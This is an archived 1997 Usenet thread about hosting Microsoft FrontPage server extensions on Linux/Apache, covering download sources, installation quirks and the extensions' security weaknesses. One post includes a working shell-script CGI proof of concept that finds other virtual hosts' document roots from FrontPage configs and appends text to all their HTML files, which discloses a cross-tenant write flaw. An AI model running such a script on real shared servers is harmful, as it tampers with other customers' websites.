Is it possible to host FrontPage?

Is it possible to host FrontPage?

Post by Michael J Scho » Thu, 13 Feb 1997 04:00:00



Hi:

We have a web server running LInux, and have a few clients requesting
MS-FontPage service from us.  I see from Microsoft's page that you can do this
with UNIX, but I would like to know if anyone has actually done this and what
the results were..

Any info would be appreciated...

Thanks
Mike Schout

 
 
 

Is it possible to host FrontPage?

Post by Nathan A. Harri » Thu, 13 Feb 1997 04:00:00


If you are using Apache then you can get the FrontPage97
extensions.  There is a link on the Red Hat page
www.redhat.com somewhere (you will probably have to use
their web search).  I am running the extensions, and
they work fine.  I'm not sure of all the security issues
however.

-Nathan



> Hi:

> We have a web server running LInux, and have a few clients requesting
> MS-FontPage service from us.  I see from Microsoft's page that you can do
this
> with UNIX, but I would like to know if anyone has actually done this and
what
> the results were..

> Any info would be appreciated...

> Thanks
> Mike Schout



 
 
 

Is it possible to host FrontPage?

Post by Elf Sternbe » Fri, 14 Feb 1997 04:00:00




Quote:>We have a web server running LInux, and have a few clients requesting
>MS-FontPage service from us.  I see from Microsoft's page that you can do this
>with UNIX, but I would like to know if anyone has actually done this and what
>the results were..

        With Apache, it's very do-able.  Now, the caveat is that their
code for their patch for apache is pre-POSIX; if you have a POSIX
system (like I do, Solaris), then you'll have to hunt down their use
of index() in their code and replace it with strchr().  Other than
that, it works very well.  As I wrote in a review for my company,
"I attempted to use FrontPage on three of the webs I administer, and
it failed to handle any of them.  FrontPage is wholly inadequate to
my needs.  I recommend it to all our customers."  Meaning that, as
long as our customers want FrontPage and are willing to stay within
the borders of FrontPage's capacity, then they aren't going to be
doing any of the weird stuff I do with CGIs and back-end databases
and they won't be administrative nightmares.

                Elf !!!

--
Elf Sternberg            Balkanize Usenet!

Public key available     http://www.halcyon.com/elf/index.html

 
 
 

Is it possible to host FrontPage?

Post by Ken Corma » Sat, 15 Feb 1997 04:00:00





>: If you are using Apache then you can get the FrontPage97
>: extensions.  There is a link on the Red Hat page
>: www.redhat.com somewhere (you will probably have to use
>: their web search).  I am running the extensions, and
>: they work fine.  I'm not sure of all the security issues
>: however.

>They are wildly insecure on *nixes.

>You can run FP extensions in two ways on *nixes...

>1) setuid root: In this case, users maintain ownership of their files,
>   since the extensions do a setuid() call to the user.  BAD. They
>   don't give the source code.  How do I know what it is they are doing
>   to my system?

>2) as the httpd's uid: In this case, the pages are owned by the httpd user,
>   usually nobody.  BAD.  Anyone can modify these pages.

>--
>Jason Costomiris                 | Finger for PGP 2.6.2 Public Key

>My employers like me, but not        | and genius.  We aim to erase that line"
>enough to let me speak for them. |                  --Unknown

>                    http://www.jasons.org/~jcostom

Jason -

We've been running the extensions on our 2.0.29 host without any
problems such as one user modifying another's pages.  Granted, our
users aren't doing direct (command-line) FTP's (they use FrontPage's
built-in uploading).

With the .htaccess files correctly set up, our "publishers" can't get
to each other's libraries (FrontPage calls them "user webs") to modify
anything they dont know the passwords to.  Also, due to the way the
httpd "Alias" function in the conf files works, our "publishers"
would'nt know what directories were where.

Granted, our page creators are not Unix-savy, but then again they dont
have the need/opportunity to scope out the box at the shell level
(shell=/bin/false).

FrontPage (and it's server extensions) seems to be working well for us
so far.

<GRIN>
    Me??  I use <B> vi </B>.
</GRIN>

 
 
 

Is it possible to host FrontPage?

Post by Jimmie Farm » Mon, 17 Feb 1997 04:00:00





>: If you are using Apache then you can get the FrontPage97
>: extensions.  There is a link on the Red Hat page
>: www.redhat.com somewhere (you will probably have to use
>: their web search).  I am running the extensions, and
>: they work fine.  I'm not sure of all the security issues
>: however.

>They are wildly insecure on *nixes.

>You can run FP extensions in two ways on *nixes...

>1) setuid root: In this case, users maintain ownership of their files,
>   since the extensions do a setuid() call to the user.  BAD. They
>   don't give the source code.  How do I know what it is they are doing
>   to my system?

>2) as the httpd's uid: In this case, the pages are owned by the httpd user,
>   usually nobody.  BAD.  Anyone can modify these pages.

        Definitely good points!

        Also disconcerting is that, at least the last time I asked MS about
this, that the source for their server extentions is NOT available, so you
can not evaluate them for security holes, and patch as needed.  For this
reason alone, we do not support the MS server extentions where I work.

        One question that *I* have about these extentions...  everything
save banners (and you can do banner type stuff W/ Java) is just emulating
something that already exists out there (i.e. ftp).  Why do the people
at Microsoft always feel the need to re-invent the wheel with their
products?

        Sincerely,
        Jimmie Farmer

--
     Jimmie Farmer       |    Wannabe Rockstar, and computer nerd.
    Guitar For Hire      |     Linux hacker, and proud OS/2 user!

http://www.malchick.com/ |      The choice of a GNU generation

 
 
 

Is it possible to host FrontPage?

Post by Owen Greave » Mon, 17 Feb 1997 04:00:00


Hi There,

  Go to the following site and you will find what your looking for:

http://www.microsoft.com/kb/articles/q161/1/58.htm

Hope it helps, cya later, Owen Greaves







> >: If you are using Apache then you can get the FrontPage97
> >: extensions.  There is a link on the Red Hat page
> >: www.redhat.com somewhere (you will probably have to use
> >: their web search).  I am running the extensions, and
> >: they work fine.  I'm not sure of all the security issues
> >: however.

> >They are wildly insecure on *nixes.

> >You can run FP extensions in two ways on *nixes...

> >1) setuid root: In this case, users maintain ownership of their files,
> >   since the extensions do a setuid() call to the user.  BAD. They
> >   don't give the source code.  How do I know what it is they are doing
> >   to my system?

> >2) as the httpd's uid: In this case, the pages are owned by the httpd
user,
> >   usually nobody.  BAD.  Anyone can modify these pages.

>    Definitely good points!

>    Also disconcerting is that, at least the last time I asked MS about
> this, that the source for their server extentions is NOT available, so
you
> can not evaluate them for security holes, and patch as needed.  For this
> reason alone, we do not support the MS server extentions where I work.

>    One question that *I* have about these extentions...  everything
> save banners (and you can do banner type stuff W/ Java) is just emulating
> something that already exists out there (i.e. ftp).  Why do the people
> at Microsoft always feel the need to re-invent the wheel with their
> products?

>    Sincerely,
>    Jimmie Farmer

> --
>      Jimmie Farmer       |    Wannabe Rockstar, and computer nerd.
>     Guitar For Hire      |     Linux hacker, and proud OS/2 user!

> http://www.malchick.com/ |      The choice of a GNU generation

 
 
 

Is it possible to host FrontPage?

Post by Michael Hal » Tue, 18 Feb 1997 04:00:00


:
:       One question that *I* have about these extentions...  everything
: save banners (and you can do banner type stuff W/ Java) is just emulating
: something that already exists out there (i.e. ftp).  Why do the people
: at Microsoft always feel the need to re-invent the wheel with their
: products?
:

  Because when Microsoft reinvents the wheel it becomes a "Standard" which
usually means that you have to buy Microsoft product.  I am under a lot of
pressure to run NT web servers so that people can use their access
databases and frontpage extensions.

--

Vyzynz International Inc.

NT makes the easy stuff easy, and the rest impossible.
Unix makes everything possible, but nothing too easy.

 
 
 

Is it possible to host FrontPage?

Post by Bob Hau » Wed, 19 Feb 1997 04:00:00




Hi Mike.  It's your neighbor down the street <grin>!

Quote:> I am under a lot of pressure to run NT web servers so that people
> can use their access databases and frontpage extensions.

Better get a really big, fat, NT server if you let people use their
Access databases <grin>.  Managing a bunch of random user accounts
in your ISP environment ought to be a lot of fun in that scenario as
well.

People get the idea that because it works on their desktop that it
will work in production with hundreds or thousands of users.

---

 Wasatch Communications Group               http://www.wasatch.com

 
 
 

Is it possible to host FrontPage?

Post by Scott Lystig Fritchi » Wed, 19 Feb 1997 04:00:00



> You can run FP extensions in two ways on *nixes...

> 1) setuid root: In this case, users maintain ownership of their files,
>    since the extensions do a setuid() call to the user.  BAD. They
>    don't give the source code.  How do I know what it is they are doing
>    to my system?

CAVEAT: The last time I looked at the FrontPage server extensions, it
was for version 1.1.

I laughed really hard reading the installation instructions because
the author(s) said several times that running the server under uid 0
was a bad idea, but it was always the first option mentioned.

Quote:> 2) as the httpd's uid: In this case, the pages are owned by the httpd user,
>    usually nobody.  BAD.  Anyone can modify these pages.

Yup.  For example, here's an exploit which, barring problems with the
availability of the Bourne shell, works quite well to modify other
FP-enabled virtual servers' stuff:

--- snip ---

#!/bin/sh

PATH=/bin:/usr/bin

echo "Content-type: text/plain"
echo ""

CONFIGS=`grep serverconfig: /usr/local/frontpage/*.cnf | \
    sed 's/.*serverconfig://' | egrep -v 'mysite|friendlysite'`

echo "My target config files are: $CONFIGS"
for CONFIG in $CONFIGS
do
    DOCROOT=`grep DocumentRoot $CONFIG | awk '{print $2}'`
    echo "My sucker's DOCROOT is $DOCROOT"
    for FILE in `find $DOCROOT \( -name '*.html' -o -name '*.htm' \) -print | \
        grep -v /_vti_cnf/`
    do
        echo "  I think I will edit file '$FILE'"
        echo "&lt;!-- Kilroy was here! --&gt;" 2&gt; /dev/null &gt;&gt; $FILE
    done
done

exit 0

--- snip ---

See also: http://www.mr.net/~fritchie/frontpage.html

See also: my caveat above.  No, I haven't experimented with the FP
server extensions since way back in Oct '96.

-Scott
---
Scott Lystig Fritchie, Network Engineer          MRNet Internet Services, Inc.

v: 612/362.5820, p: 612/637.9547                 2829 University Ave SE
http://www.mr.net/~fritchie/                     Minneapolis, MN  55414

 
 
 

Is it possible to host FrontPage?

Post by Steve Tu » Wed, 19 Feb 1997 04:00:00



splainin':

Quote:>  Because when Microsoft reinvents the wheel it becomes a "Standard" which
>usually means that you have to buy Microsoft product.  I am under a lot of
>pressure to run NT web servers so that people can use their access
>databases and frontpage extensions.

Question is are these extensions even available for Linux?

If so, where?

Regards,

***************************************************
Steve Tupy

 
 
 

Is it possible to host FrontPage?

Post by Erik Vasaas » Wed, 19 Feb 1997 04:00:00




>splainin':

>>  Because when Microsoft reinvents the wheel it becomes a "Standard" which
>>usually means that you have to buy Microsoft product.  I am under a lot of
>>pressure to run NT web servers so that people can use their access
>>databases and frontpage extensions.

>Question is are these extensions even available for Linux?

>If so, where?

There are some patches to apache for hosting frontpage. An altavista search
for frontpage and apache should tell you where to get it..

Erik (not using frontpage, thank you

 
 
 

Is it possible to host FrontPage?

Post by Chri » Wed, 19 Feb 1997 04:00:00




>splainin':

>>  Because when Microsoft reinvents the wheel it becomes a "Standard" which
>>usually means that you have to buy Microsoft product.  I am under a lot of
>>pressure to run NT web servers so that people can use their access
>>databases and frontpage extensions.

>Question is are these extensions even available for Linux?

>If so, where?

>Regards,

>***************************************************
>Steve Tupy

Here you go, you can get the extensions at
Ready to Run Software at
http://www.rtr.com/fpsupport/download.htm

I set them up on a separate linux box, and am much happier with them
than I was trying to run them on a NT Box  with twice the CPU Power
and memeroy.

Chris
Thanks
Chris Berning

___________________________________________________________
         ..................................................
            Web Acres Web Farm http://webacres.com/
                   Home of AutoSubmit
    Free Web Site Promotion http://autosubmit.com/
__________________________________________________________  
 We Sell Server Space Basic account $35 with Domain & email
        Reslling is welcomed under all of our accounts
            Web Acres is a web server farm,
           we rent complete internet servers.

   Complete Web Site Design and Consulting Services
_______________________________________________________    

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

 
 
 

Is it possible to host FrontPage?

Post by Big Jas » Wed, 19 Feb 1997 04:00:00




>splainin':

>>  Because when Microsoft reinvents the wheel it becomes a "Standard" which
>>usually means that you have to buy Microsoft product.  I am under a lot of
>>pressure to run NT web servers so that people can use their access
>>databases and frontpage extensions.

>Question is are these extensions even available for Linux?

>If so, where?

>Regards,

>***************************************************
>Steve Tupy

If you go to the FrontPage site on Microsoft they have a link where
one get Server Extensions for Apache.  Just look around, I can't
remember offhand where it is.

  Jason Fortezzo aka "Big Jason"
  Dunn Hall, Texas A&M University      

  URL    : http://dionysus.dorms.tamu.edu/~bigjason/

 
 
 

Is it possible to host FrontPage?

Post by Justin Youn » Wed, 19 Feb 1997 04:00:00





> Hi Mike.  It's your neighbor down the street <grin>!

> > I am under a lot of pressure to run NT web servers so that people
> > can use their access databases and frontpage extensions.

(snip)
Seriously,  Apache under Linux can be configured to accept FrontPage
extensions.  There is *NO* reason to run NT simply to allow FrontPage.
Check  http://www.microsoft.com/frontpage/wpp/kit/install.htm.

Also check out next month's Web Developer and read about how the Red Hat
Linux server beat up on poor NT 4.0.

--
Justin Young          http://mesun12.engr.subr.edu/~jayoung
2212 Heck Young Rd.   Graduating ME Student/Systems Asst
Baker, LA 70714       Southern University

 
 
 

Is it possible to host FrontPage?

Post by Brian Wheel » Thu, 20 Feb 1997 04:00:00


        There's a link to some software that will do that that's on the
Redhat Pages....
        Of course, since frontpage is a broken-as-designed security hole, I
don't know how much I'd trust the binary-only releases...

        Brian Wheeler



Quote:>Hello,

>    How hard would it be to develop software which would, do the same
>thing as the MS extensions or maybe a script on the client side to upload
>a FrontPage Web site.

>    I haven't looked into this, so I'm more or less thinking out
>loud. Is anyone working on this? Like it or not FP could become very
>successful, and it would be nice to be able to support FS for Web hosting
>without proprietary software from MS.

>stef

--
Brian Wheeler

 
 
 

1. FrontPage virtual hosting, removal or reset of virtual host

Hello,

We have FrontPage extensions on a Unix server running BSD 2.1.  We have
many virtual hosts on the server.  Assigning a domain name to a new
virtual host is no problem.

The problem is when a customer leaves, we are left with their account.
How do you completely clear out the account and change the passwords, so
it can be assigned to a new user?

Thanks...

It's Apache 1.0.5 by the way

2. xinit error??

3. Frontpage Extension + Apache 1.3.1 : possible or wait ?

4. Red Hat *Live*.....Okay? Nokay?

5. Apache 1.3.0 - Virtual Hosts and Frontpage SERK

6. problem with mod_usertrack for counting unique visitors

7. Apache, FrontPage, and Named virtual hosts, Security, please help !

8. DLT/AIT tape drives

9. Frontpage Virtual Hosts

10. Name based hosting and frontpage extensions

11. Frontpage + non-IP virtual hosts

12. Frontpage and Apache virtual hosts - help please

13. It`s IMPORTANT!!!